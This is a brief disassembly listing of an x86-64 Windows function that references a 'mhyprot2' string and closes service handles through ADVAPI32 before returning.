lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x244]
call fcn.1402203d0
mov rcx, rax
call fcn.1400c8080
lea r8, [rbp + 0x224]
lea rdx, str.mhyprot2
mov rcx, rax
call fcn.1400c6172
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, 0xffffffffffffffff
jmp 0x140220627
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret